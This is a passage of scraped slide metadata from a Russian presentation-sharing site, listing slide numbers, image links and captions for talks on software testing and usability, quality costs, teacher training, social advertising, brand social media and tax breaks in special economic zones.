"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img123.jpg",
"description": "И это совсем не то, к чему мы привыкли"
},
{
"slide_number": "125",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img124.jpg",
"description": "Другой рынок"
},
{
"slide_number": "126",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img125.jpg",
"description": "Другие требования к качеству"
},
{
"slide_number": "127",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img126.jpg",
"description": "Много прекрасно оттестированных программ"
},
{
"slide_number": "128",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img127.jpg",
"description": "Которые выглядят вот так:"
},
{
"slide_number": "129",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img128.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №129"
},
{
"slide_number": "130",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img129.jpg",
"description": "Или вот так:"
},
{
"slide_number": "131",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img130.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №131"
},
{
"slide_number": "132",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img131.jpg",
"description": "Кошмар!"
},
{
"slide_number": "133",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img132.jpg",
"description": "Пользователь выбросит!"
},
{
"slide_number": "134",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img133.jpg",
"description": "Поставил программу"
},
{
"slide_number": "135",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img134.jpg",
"description": "Не разобрался за 20 секунд"
},
{
"slide_number": "136",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img135.jpg",
"description": "Выбросил!"
},
{
"slide_number": "137",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img136.jpg",
"description": "А ведь к тестированию претензий нет!"
},
{
"slide_number": "138",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img137.jpg",
"description": "Традиционного тестирования мало!"
},
{
"slide_number": "139",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img138.jpg",
"description": "Как быть?"
},
{
"slide_number": "140",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img139.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №140"
},
{
"slide_number": "141",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img140.jpg",
"description": "Расширить тестирование!"
},
{
"slide_number": "142",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img141.jpg",
"description": "Глазами пользователя"
},
{
"slide_number": "143",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img142.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №143"
},
{
"slide_number": "144",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img143.jpg",
"description": "Ранние прототипы"
},
{
"slide_number": "145",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img144.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №145"
},
{
"slide_number": "146",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img145.jpg",
"description": "Или даже вот так:"
},
{
"slide_number": "147",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img146.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №147"
},
{
"slide_number": "148",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img147.jpg",
"description": "Коридорное тестирование"
},
{
"slide_number": "149",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img148.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №149"
},
{
"slide_number": "150",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img149.jpg",
"description": "Юзабилити-тестирование"
},
{
"slide_number": "151",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img150.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №151"
},
{
"slide_number": "152",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img151.jpg",
"description": "Эргономика и особые условия"
},
{
"slide_number": "153",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img152.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №153"
},
{
"slide_number": "154",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img153.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №154"
},
{
"slide_number": "155",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img154.jpg",
"description": "Бета-тестирование"
},
{
"slide_number": "156",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img155.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №156"
},
{
"slide_number": "157",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img156.jpg",
"description": "Сбор данных"
},
{
"slide_number": "158",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img157.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №158"
},
{
"slide_number": "159",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img158.jpg",
"description": "Это наше будущее"
},
{
"slide_number": "160",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img159.jpg",
"description": "Мир, в которм мы будем жить"
},
{
"slide_number": "161",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img160.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №161"
},
{
"slide_number": "162",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img161.jpg",
"description": "Наша ноосфера"
},
{
"slide_number": "163",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img162.jpg",
"description": "Оно уже здесь"
},
{
"slide_number": "164",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img163.jpg",
"description": "Оглянитесь вокруг"
},
{
"slide_number": "165",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img164.jpg",
"description": "Мы за него в ответе"
},
{
"slide_number": "166",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img165.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №166"
},
{
"slide_number": "167",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img166.jpg",
"description": "Спасибо!"
},
{
"slide_number": "168",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img167.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №168"
},
{
"slide_number": "169",
"image": "https://mypresentation.ru/documents/bbff037a104dae08efd7206c27e8d458/img168.jpg",
"description": "ПРОГРАММИРУЕМ ДИВАН: тестирование послезавтра SQA Days, Казань, 2011-04-22, слайд №169"
}
] |
https://mypresentation.ru/presentation/99606 | «Цена качества» | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/3fc78bf8a2e5fe57ca033ea0d37ed7ab/img0.jpg",
"description": "«Цена качества»"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/3fc78bf8a2e5fe57ca033ea0d37ed7ab/img1.jpg",
"description": "О чем мы с Вами поговорим Типичная проблема с обоснованием цены Определения и немного истории Категории затрат на качество Как подать цену качества заказчику Подсказки о том как быть всегда на виду"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/3fc78bf8a2e5fe57ca033ea0d37ed7ab/img2.jpg",
"description": "Типичная ситуация"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/3fc78bf8a2e5fe57ca033ea0d37ed7ab/img3.jpg",
"description": "Что делать?"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/3fc78bf8a2e5fe57ca033ea0d37ed7ab/img4.jpg",
"description": "Немного истории"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/3fc78bf8a2e5fe57ca033ea0d37ed7ab/img5.jpg",
"description": "Категории затрат для обеспечения качества"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/3fc78bf8a2e5fe57ca033ea0d37ed7ab/img6.jpg",
"description": "Превентивные затраты"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/3fc78bf8a2e5fe57ca033ea0d37ed7ab/img7.jpg",
"description": "Затраты на оценку и контроль"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/3fc78bf8a2e5fe57ca033ea0d37ed7ab/img8.jpg",
"description": "Цена внутреннего сбоя"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/3fc78bf8a2e5fe57ca033ea0d37ed7ab/img9.jpg",
"description": "Цена внешнего сбоя"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/3fc78bf8a2e5fe57ca033ea0d37ed7ab/img10.jpg",
"description": "Итого"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/3fc78bf8a2e5fe57ca033ea0d37ed7ab/img11.jpg",
"description": "Как «подать цифру» заказчику"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/3fc78bf8a2e5fe57ca033ea0d37ed7ab/img12.jpg",
"description": "Будьте всегда на виду"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/3fc78bf8a2e5fe57ca033ea0d37ed7ab/img13.jpg",
"description": "Есть вопрос? Задай его!"
}
] |
https://mypresentation.ru/presentation/99607 | iteach2007 (1) - презентация | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/eaa0e1890ad84f309192e1bc703b8806/img0.jpg",
"description": "iteach2007 (1) - презентация, слайд №1"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/eaa0e1890ad84f309192e1bc703b8806/img1.jpg",
"description": "Кто я? Тьютор программы Intel® “Обучение для будущего” с 2005 г. Зав кафедрой ПиМНО Балашовского института СГУ (http://pimnobal.ucoz.ru/ ) Учитель математики и информатики Хороший, веселый человек, спортсменка и просто красавица"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/eaa0e1890ad84f309192e1bc703b8806/img2.jpg",
"description": "Команда тьюторов площадки"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/eaa0e1890ad84f309192e1bc703b8806/img3.jpg",
"description": "Точки профессионального роста тьюторов площадки"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/eaa0e1890ad84f309192e1bc703b8806/img4.jpg",
"description": "Наше ноу-хау!"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/eaa0e1890ad84f309192e1bc703b8806/img5.jpg",
"description": "Чему конкретно я могу научить учителей?"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/eaa0e1890ad84f309192e1bc703b8806/img6.jpg",
"description": "Чему конкретно я могу научить коллег?"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/eaa0e1890ad84f309192e1bc703b8806/img7.jpg",
"description": "Чему я хочу научиться? Как работать с новыми образовательными стандартами Модерации и фасилитации тренингов Искусству задавать вопросы Мышлению высокого уровня Новым подходам к педагогическому сотрудничеству в сети"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/eaa0e1890ad84f309192e1bc703b8806/img8.jpg",
"description": "Почему мы в программе Intel® “Обучение для будущего”? Нам и нашим студентам интересно! Изучаются не просто компьютерные технологии, а их применение через призму педагогических технологий Проектная методика соответствует требованиям ФГОС Востребовано в реальной школьной практике Постоянное повышение квалификации учителя Качественное обучение Современно Интерактивно Полезно Стремимся быть лучшими!"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/eaa0e1890ad84f309192e1bc703b8806/img9.jpg",
"description": "Наши планы на будущее Внедрять эффективное комплексное использование информационных и образовательных технологий в обучение с целью развития у студентов ключевых компетентностей, основанных на ценностях, знаниях и умениях, необходимых человеку в 21 веке Проходить сертификацию Творить Создавать и реализовывать проекты Преодолевать витки спирали обучения на более высоком уровне Общаться в сети и в реале"
}
] |
https://mypresentation.ru/presentation/99608 | Социальная реклама или Социальный маркетинг? | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img0.jpg",
"description": "Социальная реклама или Социальный маркетинг?"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img1.jpg",
"description": "Будеть сами себе Фриманом"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img2.jpg",
"description": "КАНАЛЫ и носители"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img3.jpg",
"description": "ACTION!"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img4.jpg",
"description": "ЭФФЕКТИВНОСТЬ"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img5.jpg",
"description": "БУДЬТЕ ЧЕСТНЫМИ"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img6.jpg",
"description": "АКТУАЛЬНОСТЬ ТЕМЫ"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img7.jpg",
"description": "ВАШИ ПЛАКАТЫ НИКОМУ НЕ НУЖНЫ"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img8.jpg",
"description": "ИНТЕГРИРОВАННАЯ КОММУНИКАЦИЯ"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img9.jpg",
"description": "НЕ ПЛОДИТЕСЬ РАЗМНОЖАЙТЕСЬ!"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img10.jpg",
"description": "НЕ ПОЛУЧИЛОСЬ?"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img11.jpg",
"description": "КТО ВАША ЦА?"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img12.jpg",
"description": "ЯЗЫК"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img13.jpg",
"description": "ИССЛЕДУЙТЕ"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img14.jpg",
"description": "А ВЫ ЧТО ДУМАЛИ?"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img15.jpg",
"description": "ИНСАЙТ"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img16.jpg",
"description": "ИНСАЙТ"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img17.jpg",
"description": "ОЙ, ВСЁ ТАК ПЛОХО!"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img18.jpg",
"description": "ОБЛИЧАТЬ БЕССМЫСЛЕННО!"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img19.jpg",
"description": "ОБРАТНАЯ СВЯЗЬ"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img20.jpg",
"description": "КЕЙСЫ"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/c390636847d4e7a3367a85182a5c5099/img21.jpg",
"description": "СЕРГЕЙ ДОЛГОВ"
}
] |
https://mypresentation.ru/presentation/99609 | New media Николай Белоусов для | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img0.jpg",
"description": "New media Николай Белоусов для"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img1.jpg",
"description": "New media Николай Белоусов для, слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img2.jpg",
"description": "Social media revolution"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img3.jpg",
"description": "Временная шкала социальных медиа Запад 1995 Classmates 2003 Mysp 2003 2003 Faceb 2006 Twit"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img4.jpg",
"description": "Карта социальных медиа Рунета"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img5.jpg",
"description": "Особенности Ру блогосферы Блоги Микроблоги"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img6.jpg",
"description": "Гражданское общество? Переживания по поводу закрытия ТОП записей в блогах Возможность решения социальных вопросов, но не политических Лукойл VS BP Ангажированность блогеров"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img7.jpg",
"description": "Эволюция журналистики"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img8.jpg",
"description": "Бренды. Начало и продолжение 2005 год Ноутбук Джефф Джарвис"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img9.jpg",
"description": "Ideastorm.com"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img10.jpg",
"description": "Dell сейчас ~ 200 000 fans > 2 000 000 followers"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img11.jpg",
"description": "Россия. 2007 год. Утконосим"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img12.jpg",
"description": "Россия. 2009 год. Ru_nokla"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img13.jpg",
"description": "Те, кто серьезно настроен"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img14.jpg",
"description": "Что привело бренды Репутационные риски/скандалы Надежды на вирусность Маркетологи Новые платформы Пользователи Стратегия и специфика продуктов"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img15.jpg",
"description": "Репутация United airlines"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img16.jpg",
"description": "Вирусность?"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img17.jpg",
"description": "Вирусность! Blendtec – исключение. 5х продажи"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img18.jpg",
"description": "Маркетологи Social media revolution"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img19.jpg",
"description": "Пользователи Coca-Cola в Facebook Нокиа"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img20.jpg",
"description": "Стратегия и специфика Intel"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img21.jpg",
"description": "Как используются новые медиа репутационный менеджмент поддержка клиентов выявление лояльных клиентов и формирование сообщества"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img22.jpg",
"description": "Что делаем мы в Panasonic"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img23.jpg",
"description": "Panasonic Russia touchpoints"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img24.jpg",
"description": "Активности Мониторинг упоминаний и реагирование Ведение собственных форумов Присутствие в социальных медиа Клуб лояльности Взаимодействие с лидерами мнений и лояльными блогерами"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img25.jpg",
"description": "Хронология 2007 год Первые попытки Использование агентов влияния Раздача фотокамер блогерам 2008 год Идея клуба Panasonic Создание групп вконтакте 2009 год Формирование стратегии на среднюю перспективу Создание платформ присутствия (Twitter, Livejournal, Vkontakte, Facebook) Участие в проекте \"Продвижение бизнеса в социальных сетях\" 2010 год Агрегация активностей бренда Выработка редакционной политики Приведение дизайна к единому виду Выработка механики продвижения Постоянная работа с лояльными пользователями/блогерами Начало активного продвижения аккаунтов бренда"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img26.jpg",
"description": "Social media marketing"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img27.jpg",
"description": "2010 VS 2009"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img28.jpg",
"description": "2010 VS 2009"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img29.jpg",
"description": "2010 VS 2009"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/457094077dbb488f08ee81f66ec593fb/img30.jpg",
"description": "Всё Задавайте вопросы по почте [email protected] или в ni404 Николай Белоусов Блог: ni404.blogspot.com Презентации: slideshare.net/ni404/"
}
] |
https://mypresentation.ru/presentation/9960 | Особенности налогообложения в свободных экономических зонах __ | Экономика и Финансы | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/5feac899e4ad83bdb8cfdc619c5c96f0/img0.jpg",
"description": "Особенности налогообложения в свободных экономических зонах"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/5feac899e4ad83bdb8cfdc619c5c96f0/img1.jpg",
"description": "Основным налогом является корпоративный налог, который взимается с прибыли предприятия. Льготы по этому виду налога могут быть связаны как со снижением ставки налогообложения, так и с предоставлением длительного срока освобождения от его уплаты. Причем в некоторых странах этот срок достаточно длителен."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/5feac899e4ad83bdb8cfdc619c5c96f0/img2.jpg",
"description": "Понижение налоговых ставок Предоставляемые льготы дифференцированы, в зависимости от вида предприятия и приоритетности отрасли, в которой оно действует."
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/5feac899e4ad83bdb8cfdc619c5c96f0/img3.jpg",
"description": "льготы по выплатам налогов на собственности, на налог с оборота, торгово-промышленный налог В свободной зоне Бразилии Манаус не взимается налог на изделия, произведенные вне зоны для поставки в нее, или с товаров, произведенных в зоне для продажи внутри страны, а также с товаров, произведенных из местного сырья для продажи в зоне."
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/5feac899e4ad83bdb8cfdc619c5c96f0/img4.jpg",
"description": "Налогообложение в СЭЗ РФ Единый социальный налог"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/5feac899e4ad83bdb8cfdc619c5c96f0/img5.jpg",
"description": "Налог на прибыль На основании положений пп. 14 п. 1 ст. 251 НК РФ при определении налоговой базы по налогу на прибыль не учитываются доходы в виде: имущества, полученного налогоплательщиком в рамках целевого финансирования; инвестиций, полученных при проведении инвестиционных конкурсов (торгов) в порядке, установленном законодательством РФ; инвестиций, полученных от иностранных инвесторов на финансирование капитальных вложений производственного назначения; средств, полученных из Российского фонда фундаментальных исследований, Российского фонда технологического развития и т.д."
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/5feac899e4ad83bdb8cfdc619c5c96f0/img6.jpg",
"description": "Налог на имущество В отношении налога на имущество НК РФ предусматривает льготирование в виде: освобождения от налогообложения на определенный срок; уменьшения налоговой ставки."
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/5feac899e4ad83bdb8cfdc619c5c96f0/img7.jpg",
"description": "Земельный налог На основании положений п. 9 ст. 395 НК РФ от обложения земельным налогом освобождаются организации - резиденты СЭЗ сроком на 5 лет с момента возникновения права собственности на земельный участок, предоставленный резиденту СЭЗ любого типа."
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/5feac899e4ad83bdb8cfdc619c5c96f0/img8.jpg",
"description": "В целях дальнейшего стимулирования инновационной деятельности Правительство РФ планирует установить дополнительные льготы и внести дальнейшие изменения в главы В целях дальнейшего стимулирования инновационной деятельности Правительство РФ планирует установить дополнительные льготы и внести дальнейшие изменения в главы \"Налог на добавленную стоимость\", \"Налог на прибыль организаций\" и \"Упрощенная система налогообложения\" НК РФ."
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/5feac899e4ad83bdb8cfdc619c5c96f0/img9.jpg",
"description": "Расширение налоговых льгот для резидентов особых зон Правительство решило подарить резидентам технико-внедренческих ОЭЗ нулевую ставку по налогу на прибыль в части, зачисляемой в федеральный бюджет. Действовать эта льгота будет в течение 2012 - 2017 гг. А в части налога на прибыль, зачисляемой в бюджеты субъектов РФ, регионы смогут по-прежнему устанавливать пониженные ставки, но уже не выше 13,5% (сейчас - не ниже 13,5%)."
}
] |
https://mypresentation.ru/presentation/99610 | Дать понятие имажитивной рекламы; Рассмотреть специфику рекламы духов; Рассмотреть приёмы создания образа в рекламе парфюма. - пре | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/1269120d852de1d568769727f7e3f056/img0.jpg",
"description": "Дать понятие имажитивной рекламы; Рассмотреть специфику рекламы духов; Рассмотреть приёмы создания образа в рекламе парфюма. - пре, слайд №1"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/1269120d852de1d568769727f7e3f056/img1.jpg",
"description": "Дать понятие имажитивной рекламы; Рассмотреть специфику рекламы духов; Рассмотреть приёмы создания образа в рекламе парфюма"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/1269120d852de1d568769727f7e3f056/img2.jpg",
"description": "Дать понятие имажитивной рекламы; Рассмотреть специфику рекламы духов; Рассмотреть приёмы создания образа в рекламе парфюма. - пре, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/1269120d852de1d568769727f7e3f056/img3.jpg",
"description": "Дать понятие имажитивной рекламы; Рассмотреть специфику рекламы духов; Рассмотреть приёмы создания образа в рекламе парфюма. - пре, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/1269120d852de1d568769727f7e3f056/img4.jpg",
"description": "Дать понятие имажитивной рекламы; Рассмотреть специфику рекламы духов; Рассмотреть приёмы создания образа в рекламе парфюма. - пре, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/1269120d852de1d568769727f7e3f056/img5.jpg",
"description": "Дать понятие имажитивной рекламы; Рассмотреть специфику рекламы духов; Рассмотреть приёмы создания образа в рекламе парфюма. - пре, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/1269120d852de1d568769727f7e3f056/img6.jpg",
"description": "Дать понятие имажитивной рекламы; Рассмотреть специфику рекламы духов; Рассмотреть приёмы создания образа в рекламе парфюма. - пре, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/1269120d852de1d568769727f7e3f056/img7.jpg",
"description": "Дать понятие имажитивной рекламы; Рассмотреть специфику рекламы духов; Рассмотреть приёмы создания образа в рекламе парфюма. - пре, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/1269120d852de1d568769727f7e3f056/img8.jpg",
"description": "Дать понятие имажитивной рекламы; Рассмотреть специфику рекламы духов; Рассмотреть приёмы создания образа в рекламе парфюма. - пре, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/1269120d852de1d568769727f7e3f056/img9.jpg",
"description": "Дать понятие имажитивной рекламы; Рассмотреть специфику рекламы духов; Рассмотреть приёмы создания образа в рекламе парфюма. - пре, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/1269120d852de1d568769727f7e3f056/img10.jpg",
